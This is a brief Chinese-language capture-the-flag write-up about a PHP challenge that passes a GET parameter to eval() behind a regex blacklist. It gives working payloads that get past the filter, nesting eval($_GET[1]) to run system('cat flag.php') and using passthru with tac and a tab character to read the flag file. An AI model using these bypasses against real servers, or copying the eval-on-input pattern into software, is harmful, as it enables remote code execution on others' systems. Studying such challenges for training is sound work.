仍然是代码审计
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
//在此基础上对cat,sort,shell,.,空格,单引号进行过滤
}else{
highlight_file(__FILE__);
}
这里可以构造
eval
函数请求嵌套或者passthru
函数进行绕过
?c=eval($_GET[1]);&1=system('ls');
#passthru函数
?c=passthru("ls");
- 嵌套函数可以无视正则过滤,但是第二种
passthru
方法,cat
被过滤了,还可以用tac
,more
,单引号被过滤用双引号,空格被过滤用tab键
```shell ?c=eval($_GET[1]);&1=system(‘cat flag.php’);
passthru函数
?c=passthru(“tac%09fla*”);
```